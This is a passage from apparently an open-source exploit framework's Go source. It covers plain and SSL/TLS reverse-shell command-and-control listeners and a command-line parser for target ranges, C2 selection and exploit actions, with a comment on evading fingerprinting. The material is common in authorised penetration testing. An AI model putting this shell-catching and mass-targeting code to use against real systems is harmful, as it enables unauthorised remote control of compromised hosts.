{\n\t\t\toutput.PrintfFrameworkStatus(\"Connection closed for shell server: %s\", session.RemoteAddr)\n\t\t\tshellServer.Channel().RemoveSession(k)\n\t\t}\n\t}\n\tshellServer.Listener.Close()\n\n\treturn true\n}\n\n// Validate configuration and create the listening socket.\nfunc (shellServer *Server) Init(channel *channel.Channel) bool {\n\tif channel.Shutdown == nil {\n\t\t// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually\n\t\t// configured.\n\t\tvar shutdown atomic.Bool\n\t\tshutdown.Store(false)\n\t\tchannel.Shutdown = &shutdown\n\t}\n\tshellServer.channel = channel\n\tif channel.IsClient {\n\t\toutput.PrintFrameworkError(\"Called SimpleShellServer as a client. Use lhost and lport.\")\n\n\t\treturn false\n\t}\n\n\toutput.PrintfFrameworkStatus(\"Starting listener on %s:%d\", channel.IPAddr, channel.Port)\n\n\tvar err error\n\tshellServer.Listener, err = net.Listen(\"tcp\", channel.IPAddr+\":\"+strconv.Itoa(channel.Port))\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Couldn't create the server: \" + err.Error())\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// Listen for incoming.\nfunc (shellServer *Server) Run(timeout int) {\n\t// mutex for user input\n\tvar cliLock sync.Mutex\n\n\t// terminate the server if no shells come in within timeout seconds\n\tgo func() {\n\t\ttime.Sleep(time.Duration(timeout) * time.Second)\n\t\tif !shellServer.Channel().HasSessions() {\n\t\t\toutput.PrintFrameworkError(\"Timeout met. Shutting down shell listener.\")\n\t\t\tshellServer.Channel().Shutdown.Store(true)\n\t\t}\n\t}()\n\t// Track if the shutdown is signaled for any reason.\n\tgo func() {\n\t\tfor {\n\t\t\tif shellServer.Channel().Shutdown.Load() {\n\t\t\t\tshellServer.Shutdown()\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}()\n\t// Accept arbitrary connections. In the future we need something for the\n\t// user to select which connection to make active\n\tfor {\n\t\tclient, err := shellServer.Listener.Accept()\n\t\tif err != nil {\n\t\t\tif !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\t\toutput.PrintFrameworkError(err.Error())\n\t\t\t}\n\n\t\t\tbreak\n\t\t}\n\t\toutput.PrintfFrameworkSuccess(\"Caught new shell from %v\", client.RemoteAddr())\n\t\t// Add the session for tracking first, so it can be cleaned up.\n\t\tshellServer.Channel().AddSession(&client, client.RemoteAddr().String())\n\n\t\tgo handleSimpleConn(client, &cliLock, client.RemoteAddr(), shellServer.channel)\n\t}\n}\n\nfunc handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net.Addr, ch *channel.Channel) {\n\t// connections will stack up here. Currently that will mean a race\n\t// to the next connection but we can add in attacker handling of\n\t// connections latter\n\tcliLock.Lock()\n\tdefer cliLock.Unlock()\n\n\t// close the connection when the shell is complete\n\tdefer conn.Close()\n\n\t// Only complete the full session handshake once\n\tif !ch.Shutdown.Load() {\n\t\toutput.PrintfFrameworkStatus(\"Active shell from %v\", remoteAddr)\n\t\tcli.Basic(conn, ch)\n\t}\n}\n"
  },
  {
    "path": "c2/sslshell/sslshellserver.go",
    "content": "// sslshell is a simple c2 that listens for incoming ssl/tls connections in order to establish a reverse shell.\n//\n// The sslshell can generate it's own server certificate, or the user can provide their own. It's often a smart idea\n// to provide unique certificate to avoid fingerprinting. To generate the required files you can use openssl:\n//\n//\topenssl genpkey -algorithm RSA -out private_key.pem\n//\topenssl req -new -key private_key.pem -out csr.pem\n//\topenssl x509 -req -days 365 -in csr.pem -signkey private_key.pem -out certificate.pem\n//\n// The private_key.pem and certificate.pem are then provided on the command line like so:\n//\n//\t./cve-2021-22205_linux-arm64 -e -sslShellServer.PrivateKeyFile private_key.pem -sslShellServer.ServerField certificate.pem ...\n//\n// If a certificate is not provide, this c2 will generate one on the fly, but it is likely vulnerable to fingerprinting.\n//\n// This c2 can accept multiple connections, but it currently can only handle interacting with one at a time.\npackage sslshell\n\nimport (\n\t\"crypto/tls\"\n\t\"flag\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/cli\"\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\ntype Server struct {\n\t// The socket the server is listening on\n\tListener net.Listener\n\t// The file path to the user provided private key (if provided)\n\tPrivateKeyFile string\n\t// The file path to the user provided certificate (if provided)\n\tCertificateFile string\n\t// Upstream c2 channel, used for signaling for shutdowns and status reporting\n\tchannel *channel.Channel\n}\n\nvar singleton *Server\n\n// Get a singleton instance of the sslserver c2.\nfunc GetInstance() *Server {\n\tif singleton == nil {\n\t\tsingleton = new(Server)\n\t}\n\n\treturn singleton\n}\n\n// Create the flags for accepting custom TLS configurations.\nfunc (shellServer *Server) CreateFlags() {\n\t// some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell).\n\t// so first check if these values have already been generated\n\tif flag.Lookup(\"sslShellServer.PrivateKeyFile\") == nil {\n\t\tflag.StringVar(&shellServer.PrivateKeyFile, \"sslShellServer.PrivateKeyFile\", \"\", \"A private key to use with the SSL server\")\n\t\tflag.StringVar(&shellServer.CertificateFile, \"sslShellServer.CertificateFile\", \"\", \"The certificate to use with the SSL server\")\n\t}\n}\n\n// Shutdown the C2 and close server and client connections when applicable.\nfunc (shellServer *Server) Shutdown() bool {\n\t// Account for non-running case\n\tif shellServer.Channel() == nil {\n\t\treturn true\n\t}\n\toutput.PrintFrameworkStatus(\"C2 received shutdown, killing server and client sockets for SSL shell server\")\n\tif len(shellServer.channel.Sessions) > 0 {\n\t\tfor k, session := range shellServer.channel.Sessions {\n\t\t\toutput.PrintfFrameworkStatus(\"Connection closed: %s\", session.RemoteAddr)\n\t\t\tshellServer.channel.RemoveSession(k)\n\t\t}\n\t}\n\tshellServer.Listener.Close()\n\n\treturn true\n}\n\n// Return the underlying C2 channel with metadata and session information.\nfunc (shellServer *Server) Channel() *channel.Channel {\n\treturn shellServer.channel\n}\n\n// Parses the user provided files or generates the certificate files and starts\n// the TLS listener on the user provided IP/port.\nfunc (shellServer *Server) Init(channel *channel.Channel) bool {\n\tif channel.Shutdown == nil {\n\t\t// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually\n\t\t// configured.\n\t\tvar shutdown atomic.Bool\n\t\tshutdown.Store(false)\n\t\tchannel.Shutdown = &shutdown\n\t}\n\tshellServer.channel = channel\n\tif channel.IsClient {\n\t\toutput.PrintFrameworkError(\"Called SSLShellServer as a client. Use lhost and lport.\")\n\n\t\treturn false\n\t}\n\n\tvar ok bool\n\tvar err error\n\tvar certificate tls.Certificate\n\tif len(shellServer.CertificateFile) != 0 && len(shellServer.PrivateKeyFile) != 0 {\n\t\tcertificate, err = tls.LoadX509KeyPair(shellServer.CertificateFile, shellServer.PrivateKeyFile)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Error loading certificate: %s\", err.Error())\n\n\t\t\treturn false\n\t\t}\n\t} else {\n\t\toutput.PrintFrameworkStatus(\"Certificate not provided. Generating a TLS Certificate\")\n\t\tcertificate, ok = encryption.GenerateCertificate()\n\t\tif !ok {\n\t\t\treturn false\n\t\t}\n\t}\n\n\toutput.PrintfFrameworkStatus(\"Starting TLS listener on %s:%d\", channel.IPAddr, channel.Port)\n\tshellServer.Listener, err = tls.Listen(\n\t\t\"tcp\", fmt.Sprintf(\"%s:%d\", channel.IPAddr, channel.Port), &tls.Config{\n\t\t\tCertificates: []tls.Certificate{certificate},\n\t\t\t// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.\n\t\t\tMinVersion: tls.VersionSSL30,\n\t\t})\n\tif err != nil {\n\t\toutput.PrintfError(\"Error loading certificate: %s\", err.Error())\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// Listens for incoming SSL/TLS connections spawns a reverse shell handler for each new connection.\nfunc (shellServer *Server) Run(timeout int) {\n\t// mutex for user input\n\tvar cliLock sync.Mutex\n\n\t// terminate the server if no shells come in within timeout seconds\n\tgo func() {\n\t\ttime.Sleep(time.Duration(timeout) * time.Second)\n\t\tif !shellServer.channel.HasSessions() {\n\t\t\toutput.PrintFrameworkError(\"Timeout met. Shutting down shell listener.\")\n\t\t\tshellServer.channel.Shutdown.Store(true)\n\t\t}\n\t}()\n\tgo func() {\n\t\tfor {\n\t\t\tif shellServer.channel.Shutdown.Load() {\n\t\t\t\tshellServer.Shutdown()\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}()\n\t// Accept arbitrary connections. In the future we need something for the\n\t// user to select which connection to make active\n\tfor {\n\t\tclient, err := shellServer.Listener.Accept()\n\t\tif err != nil {\n\t\t\tif !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\t\toutput.PrintFrameworkError(err.Error())\n\t\t\t}\n\n\t\t\treturn\n\t\t}\n\t\toutput.PrintfFrameworkSuccess(\"Caught new shell from %v\", client.RemoteAddr())\n\n\t\t// Add the session for tracking first, so it can be cleaned up.\n\t\tshellServer.Channel().AddSession(&client, client.RemoteAddr().String())\n\n\t\tgo handleSimpleConn(client, &cliLock, client.RemoteAddr(), shellServer.channel)\n\t}\n}\n\nfunc handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net.Addr, channel *channel.Channel) {\n\t// connections will stack up here. Currently that will mean a race\n\t// to the next connection but we can add in attacker handling of\n\t// connections latter\n\tcliLock.Lock()\n\tdefer cliLock.Unlock()\n\n\t// close the connection when the shell is complete\n\tdefer conn.Close()\n\n\t// Only complete the full session handshake once\n\tif !channel.Shutdown.Load() {\n\t\toutput.PrintfFrameworkStatus(\"Active shell from %v\", remoteAddr)\n\t\tcli.Basic(conn, channel)\n\t}\n}\n"
  },
  {
    "path": "cli/commandline.go",
    "content": "// Package cli defines the command line interface interaction logic for an exploit utilizing go-exploit.\n//\n// Generally most users will not use this package unless implementing a command line helper or new C2 interaction.\npackage cli\n\nimport (\n\t\"bufio\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github.com/vulncheck-oss/go-exploit/db\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\n// VulnCheck IPIntel data is shipped in single line JSON blobs. There is substantially more metadata, but\n// for the purposes of the scann we need to support:\n// {\"ip\":\"127.0.0.1\",\"port\":80,\"ssl\":false}.\ntype IPIntel struct {\n\tIP   string `json:\"ip\"`\n\tPort int    `json:\"port\"`\n\tSSL  bool   `json:\"ssl\"`\n}\n\n// A structure that defines the special flags this exploit implements.\ntype CustomFlag struct {\n\tName    string\n\tType    string\n\tDefault string\n}\n\n// Increment the provided IP address.\nfunc inc(ip net.IP) {\n\tfor j := len(ip) - 1; j >= 0; j-- {\n\t\tip[j]++\n\t\tif ip[j] > 0 {\n\t\t\tbreak\n\t\t}\n\t}\n}\n\n// Generate all the IP Addresses specified by the CIDR. This... could consume a decent amount of memory.\nfunc generateIPv4CIDR(cidr string) []string {\n\tcidrSlice := make([]string, 0)\n\tip, ipNet, err := net.ParseCIDR(cidr)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn cidrSlice\n\t}\n\n\tfor ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); inc(ip) {\n\t\tcidrSlice = append(cidrSlice, ip.String())\n\t}\n\n\treturn cidrSlice\n}\n\nfunc buildRhosts(conf *config.Config, rhosts string, rports string) bool {\n\t// convert the provided Rports to a slice of int\n\trportsSlice := make([]int, 0)\n\tif len(rports) != 0 {\n\t\tsplitPorts := strings.Split(rports, \",\")\n\t\tfor _, port := range splitPorts {\n\t\t\tportInt, err := strconv.Atoi(port)\n\t\t\tif err != nil {\n\t\t\t\toutput.PrintfFrameworkError(\"Failed to convert provided rports: %s\", err)\n\n\t\t\t\treturn false\n\t\t\t}\n\t\t\trportsSlice = append(rportsSlice, portInt)\n\t\t}\n\t} else {\n\t\trportsSlice = append(rportsSlice, conf.Rport)\n\t}\n\n\t// convert the rhosts csv into a slice of strings\n\trhostsSlice := make([]string, 0)\n\tif len(rhosts) != 0 {\n\t\tsplitRhosts := strings.Split(rhosts, \",\")\n\t\tfor _, host := range splitRhosts {\n\t\t\tif strings.Contains(host, \"/\") {\n\t\t\t\trhostsSlice = append(rhostsSlice, generateIPv4CIDR(host)...)\n\t\t\t} else {\n\t\t\t\trhostsSlice = append(rhostsSlice, host)\n\t\t\t}\n\t\t}\n\t} else {\n\t\trhostsSlice = append(rhostsSlice, conf.Rhost)\n\t}\n\n\t// determine the SSL status to assign everything\n\tSSL := config.SSLDisabled\n\tif conf.SSL {\n\t\tSSL = config.SSLEnabled\n\t} else if conf.DetermineSSL {\n\t\tSSL = config.SSLAutodiscover\n\t}\n\n\t// convert rhostsSlice and rportsSlices to many RhostTriplet. Obviously\n\t// this will consume a lot of memory if you provide a ton of ip/port combos\n\t// so probably just don't do that ok? Like 1 million is probably fine, right?\n\t// 1 billion, not so much.\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tfor iHost := range rhostsSlice {\n\t\tfor iPort := range rportsSlice {\n\t\t\ttriplet := config.RhostTriplet{\n\t\t\t\tRhost: rhostsSlice[iHost],\n\t\t\t\tRport: rportsSlice[iPort],\n\t\t\t\tSSL:   SSL,\n\t\t\t}\n\t\t\tconf.RhostsNTuple = append(conf.RhostsNTuple, triplet)\n\t\t}\n\t}\n\n\treturn true\n}\n\n// Converts a CSV / triplet into a config.RhostTriplet to be used by the framework.\nfunc parseTriplet(conf *config.Config, line string) bool {\n\ttriplet := strings.Split(line, \",\")\n\tif len(triplet) != 3 {\n\t\toutput.PrintfFrameworkError(\"Failed to convert the CSV into a triplet: %s\", line)\n\n\t\treturn false\n\t}\n\n\tportInt, err := strconv.Atoi(triplet[1])\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed to convert the provided rport: %s\", triplet[1])\n\n\t\treturn false\n\t}\n\n\t// determine the SSL status to assign everything\n\tSSL := config.SSLDisabled\n\tif len(triplet[2]) != 0 {\n\t\tSSL = config.SSLEnabled\n\t} else if conf.DetermineSSL {\n\t\tSSL = config.SSLAutodiscover\n\t}\n\n\tentry := config.RhostTriplet{\n\t\tRhost: triplet[0],\n\t\tRport: portInt,\n\t\tSSL:   SSL,\n\t}\n\tconf.RhostsNTuple = append(conf.RhostsNTuple, entry)\n\n\treturn true\n}\n\n// Converts a tuple (e.g. host.com:80) into a config.RhostTriplet to be used by the framework.\nfunc parseTuple(conf *config.Config, line string) bool {\n\t// Use last index in case line contains an ipv6 address\n\tlastIndex := strings.LastIndex(line, \":\")\n\tif lastIndex == -1 {\n\t\toutput.PrintFrameworkError(\"The tuple doesn't contain a ':' character\")\n\n\t\treturn false\n\t}\n\n\tportInt, err := strconv.Atoi(line[lastIndex+1:])\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed to convert the provided rport: %s\", line[lastIndex+1:])\n\n\t\treturn false\n\t}\n\n\t// user configured SSL autodiscovery\n\tSSL := config.SSLDisabled\n\tif conf.DetermineSSL {\n\t\tSSL = config.SSLAutodiscover\n\t}\n\n\tentry := config.RhostTriplet{\n\t\tRhost: line[:lastIndex],\n\t\tRport: portInt,\n\t\tSSL:   SSL,\n\t}\n\tconf.RhostsNTuple = append(conf.RhostsNTuple, entry)\n\n\treturn true\n}\n\n// Converts an VulnCheck IP Intel JSON object into a config.RhostTriplet to be used by the framework.\nfunc parseIPIntel(conf *config.Config, line string) bool {\n\tvar intel map[string]interface{}\n\n\terr := json.Unmarshal([]byte(line), &intel)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed to unmarshal JSON: %s\", line)\n\n\t\treturn false\n\t}\n\n\t// determine the SSL status to assign everything\n\tSSL := config.SSLDisabled\n\tif intel[\"ssl\"].(bool) {\n\t\tSSL = config.SSLEnabled\n\t} else if conf.DetermineSSL {\n\t\tSSL = config.SSLAutodiscover\n\t}\n\n\tentry := config.RhostTriplet{\n\t\tRhost: intel[\"ip\"].(string),\n\t\tRport: int(intel[\"port\"].(float64)),\n\t\tSSL:   SSL,\n\t}\n\tconf.RhostsNTuple = append(conf.RhostsNTuple, entry)\n\n\treturn true\n}\n\n// Consumes a file of remote hosts. The allowed formats are:\n// 1. ip,port,<any value for ssl>\n// 2. ip:port\n// 3. VulnCheck IP Intel JSON\n// The file can also be \"-\" which means stdin.\n// Return true if conf.RhostsNTuple is not 0.\nfunc parseRhostsFile(conf *config.Config, rhostsFile string) bool {\n\thostsFile := os.Stdin\n\tif rhostsFile != \"-\" {\n\t\ttmpHostsFile, err := os.Open(rhostsFile)\n\t\tif err != nil {\n\t\t\toutput.PrintFrameworkError(err.Error())\n\n\t\t\treturn false\n\t\t}\n\t\thostsFile = tmpHostsFile\n\t\tdefer hostsFile.Close()\n\t}\n\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tlineScan := bufio.NewScanner(hostsFile)\n\tfor lineScan.Scan() {\n\t\tline := lineScan.Text()\n\t\tswitch {\n\t\tcase strings.HasPrefix(line, \"{\") && strings.HasSuffix(line, \"}\"):\n\t\t\tif !parseIPIntel(conf, line) {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase strings.Contains(line, \",\"):\n\t\t\tif !parseTriplet(conf, line) {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase strings.Contains(line, \":\"):\n\t\t\tif !parseTuple(conf, line) {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase len(line) == 0:\n\t\t\treturn len(conf.RhostsNTuple) != 0\n\t\tdefault:\n\t\t\toutput.PrintfFrameworkError(\"Unexpected rhosts-file line: %s\", line)\n\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn len(conf.RhostsNTuple) != 0\n}\n\n// parse the user provided rhosts into config.Config.\nfunc handleRhostsOptions(conf *config.Config, rhosts string, rports string, rhostsFile string) bool {\n\tif len(rhostsFile) != 0 {\n\t\treturn parseRhostsFile(conf, rhostsFile)\n\t}\n\n\t// dump the selected user agent to debug\n\toutput.PrintfFrameworkDebug(\"Using the HTTP User-Agent: %s\", protocol.GlobalUA)\n\n\treturn buildRhosts(conf, rhosts, rports)\n}\n\nfunc commonValidate(conf *config.Config, rhosts string, rports string, rhostsFile string) bool {\n\tswitch {\n\tcase len(conf.Rhost) == 0 && len(rhosts) == 0 && len(rhostsFile) == 0:\n\t\toutput.PrintFrameworkError(\"Missing required option 'rhost', 'rhosts', or 'rhosts-file'\")\n\n\t\treturn false\n\tcase conf.Rport == 0 && len(rports) == 0 && len(rhostsFile) == 0:\n\t\toutput.PrintFrameworkError(\"Missing required option 'rport', 'rports', or 'rhosts-file'\")\n\n\t\treturn false\n\tcase len(conf.Rhost) != 0 && len(rhosts) != 0:\n\t\toutput.PrintFrameworkError(\"'rhost' and 'rhosts' are mutually exclusive\")\n\n\t\treturn false\n\tcase len(conf.Rhost) != 0 && len(rhostsFile) != 0:\n\t\toutput.PrintFrameworkError(\"'rhost' and 'rhosts-file' are mutually exclusive\")\n\n\t\treturn false\n\tcase len(rhosts) != 0 && len(rhostsFile) != 0:\n\t\toutput.PrintFrameworkError(\"'rhosts' and 'rhosts-file' are mutually exclusive\")\n\n\t\treturn false\n\tcase !conf.DoVerify && !conf.DoVersionCheck && !conf.DoExploit:\n\t\toutput.PrintFrameworkError(\"Please provide an action (-v, -c, -e)\")\n\n\t\treturn false\n\tcase conf.SSL && conf.DetermineSSL:\n\t\toutput.PrintFrameworkError(\"-a and -s are mutually exclusive\")\n\n\t\treturn false\n\t}\n\n\t// the user can also specify '-' for stdin which can't be used with os.Stat\n\tif len(rhostsFile) != 0 && rhostsFile != \"-\" {\n\t\t_, err := os.Stat(rhostsFile)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Failed to stat %s: %s\", rhostsFile, err)\n\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\n// command line options for proxying.\nfunc proxyFlags(proxy *string) {\n\tflag.StringVar(proxy, \"proxy\", \"\", \"A proxy that will be used for all communication\")\n}\n\n// Go can automatically handle HTTP proxying (if HTTP_PROXY env is set) and it can automatically\n// handle HTTPS proxying (if HTTPS_PROXY env is set). It can't handle normal tcp socket proxying\n// though, so we'll set ALL_PROXY for that (and handle the logic in protocol/tcpsocket.go).\nfunc handleProxyOptions(proxy string) {\n\tif len(proxy) == 0 {\n\t\treturn\n\t}\n\tos.Setenv(\"HTTP_PROXY\", proxy)\n\tos.Setenv(\"HTTPS_PROXY\", proxy)\n\tos.Setenv(\"ALL_PROXY\", proxy)\n}\n\n// command line options for logging.\nfunc loggingFlags(logFile *string, frameworkLogLevel *string, exploitLogLevel *string) {\n\tflag.BoolVar(&output.FormatJSON, \"log-json\", false, \"Indicates if logging should use JSON\")\n\tflag.StringVar(logFile, \"log-file\", \"\", \"The file to write log messages to.\")\n\n\tlogLevels := \"\"\n\tfor key := range output.LogLevels {\n\t\tlogLevels += \"\\n\" + key\n\t}\n\n\tflag.StringVar(frameworkLogLevel, \"fll\", \"STATUS\", \"The minimum log level for the framework:\"+logLevels)\n\tflag.StringVar(exploitLogLevel, \"ell\", \"STATUS\", \"The minimum log level for the exploit:\"+logLevels)\n}\n\nfunc handleLogOptions(logFile string, frameworkLogLevel string, exploitLogLevel string) bool {\n\tvalue, found := output.LogLevels[frameworkLogLevel]\n\tif !found {\n\t\toutput.PrintFrameworkError(\"Invalid framework log level provided\")\n\n\t\treturn false\n\t}\n\toutput.SetFrameworkLogLevel(value)\n\n\tvalue, found = output.LogLevels[exploitLogLevel]\n\tif !found {\n\t\toutput.PrintFrameworkError(\"Invalid exploit log level provided\")\n\n\t\treturn false\n\t}\n\toutput.SetExploitLogLevel(value)\n\n\tif len(logFile) != 0 && !output.SetOutputFile(logFile) {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// command line flags for defining the remote host.\nfunc remoteHostFlags(conf *config.Config, rhosts *string, rhostsFile *string, rports *string) {\n\tflag.StringVar(&conf.Rhost, \"rhost\", \"\", \"The remote target's IP address\")\n\tflag.StringVar(rhosts, \"rhosts\", \"\", \"A comma delimited list of remote target IP addresses\")\n\tflag.StringVar(rhostsFile, \"rhosts-file\", \"\", \"A CSV file or stdin with a list of targets\")\n\t// the Rport should be pre-configured to have a default value (see config.go:New())\n\tflag.IntVar(&conf.Rport, \"rport\", conf.Rport, \"The remote target's server port\")\n\tflag.StringVar(rports, \"rports\", \"\", \"A comma delimited list of the remote target's server ports\")\n\t// generic all comms connection timeout\n\tflag.IntVar(&protocol.GlobalCommTimeout, \"timeout\", 10, \"A default timeout for all socket communication\")\n\t// allow the user to use their own HTTP user-agent if they so wish\n\tflag.StringVar(&protocol.GlobalUA, \"user-agent\", protocol.GlobalUA, \"The User-Agent to use in HTTP requests\")\n}\n\n// command line flags for defining the local host.\nfunc localHostFlags(conf *config.Config) {\n\tflag.StringVar(&conf.Lhost, \"lhost\", \"\", \"The IP address the configured c2 will bind to\")\n\tflag.IntVar(&conf.Lport, \"lport\", 0, \"The port the configured c2 will bind to\")\n}\n\n// command line flags that control the exploits behavior.\nfunc exploitFunctionality(conf *config.Config) {\n\tflag.BoolVar(&conf.DoVerify, \"v\", false, \"Verify the target is \"+conf.Product)\n\tflag.BoolVar(&conf.DoVersionCheck, \"c\", false, \"Perform a version check before attempting exploitation\")\n\tflag.BoolVar(&conf.DoExploit, \"e\", false, \"Exploit the target\")\n}\n\n// command line flags that control ssl communication with the target.\nfunc sslFlags(conf *config.Config) {\n\tflag.BoolVar(&conf.SSL, \"s\", false, \"Use https to communicate with the target\")\n\tflag.BoolVar(&conf.DetermineSSL, \"a\", false, \"Automatically determine if the remote target uses SSL\")\n}\n\n// Allow the user to provide the `-db` command to share content across exploits and limit the size of the HTTP cache.\nfunc dbFlags(conf *config.Config) {\n\tflag.StringVar(&conf.DBName, \"db\", \"\", \"An SQLite3 DB to share target data across\")\n\tflag.IntVar(&db.GlobalHTTPRespCacheLimit, \"cacheMax\", 10*(1024*1024), \"The maximum size of an HTTP response that can be cached\")\n}\n\n// handle generic sounding c2 flags.\nfunc c2Flags(c2Selection *string, conf *config.Config) {\n\tflag.BoolVar(&conf.ThirdPartyC2Server, \"o\", false, \"Indicates if the reverse shell should be caught by an outside program (nc, openssl)\")\n\n\tif len(conf.SupportedC2) == 0 {\n\t\t// the implementing exploit doesn't support any c2, just exit\n\t\treturn\n\t}\n\n\tc2Default := conf.SupportedC2[0].Name\n\tc2Available := \"The C2 server implementation to use. Supported: \"\n\tfor _, value := range conf.SupportedC2 {\n\t\tc2Name := value.Name\n\t\tc2Available += \"\\n\\t\" + c2Name\n\n\t\t// add the supported c2 flags, allowing for command line config of the backend\n\t\timpl, success := c2.GetInstance(value)\n\t\tif success {\n\t\t\timpl.CreateFlags()\n\t\t}\n\t}\n\tc2Available += \"\\n\"\n\tflag.StringVar(c2Selection, \"c2\", c2Default, c2Available)\n\n\t// flags unique to remote code execution\n\tflag.IntVar(&conf.Bport, \"bport\", 0, \"The port to attach the bind shell to\")\n\n\t// checks if the default values have been changed in the exploit directly\n\tif conf.C2Timeout != 30 && conf.C2Timeout != 0 {\n\t\tflag.IntVar(&conf.C2Timeout, \"t\", conf.C2Timeout, \"The number of seconds to listen for reverse shells.\")\n\t} else {\n\t\tflag.IntVar(&conf.C2Timeout, \"t\", 30, \"The number of seconds to listen for reverse shells.\")\n\t}\n}\n\n// loop through the c2 the exploit supports and find the one the user actually selected.\nfunc validateC2Selection(c2Selection string, conf *config.Config) bool {\n\tc2Selected, ok := c2.StringToImpl(c2Selection)\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"The user provided an invalid c2 implementation\")\n\n\t\treturn false\n\t}\n\t// is this a supported c2?\n\tfoundSupported := false\n\tfor _, value := range conf.SupportedC2 {\n\t\tif c2Selected == value {\n\t\t\tfoundSupported = true\n\t\t}\n\t}\n\tif !foundSupported {\n\t\toutput.PrintFrameworkError(\"The c2 you selected is not supported by this exploit.\")\n\n\t\treturn false\n\t}\n\tconf.C2Type = c2Selected\n\n\treturn true\n}\n\n// Print the details of the implementation to the configured log.\nfunc printDetails(conf *config.Config) {\n\tsupportedC2Strings := make([]string, 0)\n\tfor _, value := range conf.SupportedC2 {\n\t\tsupportedC2Strings = append(supportedC2Strings, value.Name)\n\t}\n\tsupportedPayloadsStrings := make([]string, 0)\n\tfor _, value := range conf.SupportedPayloads {\n\t\tsupportedPayloadsStrings = append(supportedPayloadsStrings, value.String())\n\t}\n\tcustomFlags := make([]CustomFlag, 0)\n\tfor key, value := range conf.StringFlagsMap {\n\t\tcustomFlags = append(customFlags, CustomFlag{\n\t\t\tName:    key,\n\t\t\tType:    fmt.Sprintf(\"%T\", *value),\n\t\t\tDefault: *value,\n\t\t})\n\t}\n\tfor key, value := range conf.UintFlagsMap {\n\t\tcustomFlags = append(customFlags, CustomFlag{\n\t\t\tName:    key,\n\t\t\tType:    fmt.Sprintf(\"%T\", *value),\n\t\t\tDefault: strconv.FormatUint(uint64(*value), 10),\n\t\t})\n\t}\n\tfor key, value := range conf.IntFlagsMap {\n\t\tcustomFlags = append(customFlags, CustomFlag{\n\t\t\tName:    key,\n\t\t\tType:    fmt.Sprintf(\"%T\", *value),\n\t\t\tDefault: strconv.Itoa(*value),\n\t\t})\n\t}\n\tfor key, value := range conf.BoolFlagsMap {\n\t\tcustomFlags = append(customFlags, CustomFlag{\n\t\t\tName:    key,\n\t\t\tType:    fmt.Sprintf(\"%T\", *value),\n\t\t\tDefault: strconv.FormatBool(*value),\n\t\t})\n\t}\n\n\toutput.PrintSuccess(\"Implementation Details\",\n\t\t\"ExploitType\", fmt.Sprintf(\"%v\", conf.ExType),\n\t\t\"AssetDetection\", conf.Impl.AssetDetection,\n\t\t\"VersionScanner\", conf.Impl.VersionScanning,\n\t\t\"Exploitation\", conf.Impl.Exploitation,\n\t\t\"SupportedC2\", supportedC2Strings,\n\t\t\"SupportedPayloads\", supportedPayloadsStrings,\n\t\t\"Vendor\", conf.Vendor,\n\t\t\"Products\", conf.Products,\n\t\t\"CPE\", conf.CPE,\n\t\t\"CVE\", conf.CVE,\n\t\t\"Protocol\", conf.Protocol,\n\t\t\"DefaultPort\", conf.Rport,\n\t\t\"CustomFlags\", customFlags,\n\t)\n}\n\n// Parses the command line arguments used by RCE exploits.\nfunc CodeExecutionCmdLineParse(conf *config.Config) bool {\n\tvar rhosts string\n\tvar rhostsFile string\n\tvar rports string\n\tvar logFile string\n\tvar frameworkLogLevel string\n\tvar exploitLogLevel string\n\tvar proxy string\n\tvar c2Selection string\n\n\tdbFlags(conf)\n\tproxyFlags(&proxy)\n\tloggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)\n\tremoteHostFlags(conf, &rhosts, &rhostsFile, &rports)\n\tlocalHostFlags(conf)\n\texploitFunctionality(conf)\n\tsslFlags(conf)\n\tc2Flags(&c2Selection, conf)\n\taddPayloadFlags(conf)\n\tdetailsFlag := flag.Bool(\"details\", false, \"Print the implementation details for this exploit\")\n\n\tflag.Usage = func() {\n\t\t// banner explaining what the software is\n\t\tfmt.Printf(\"An exploit for %s %s that can generate a 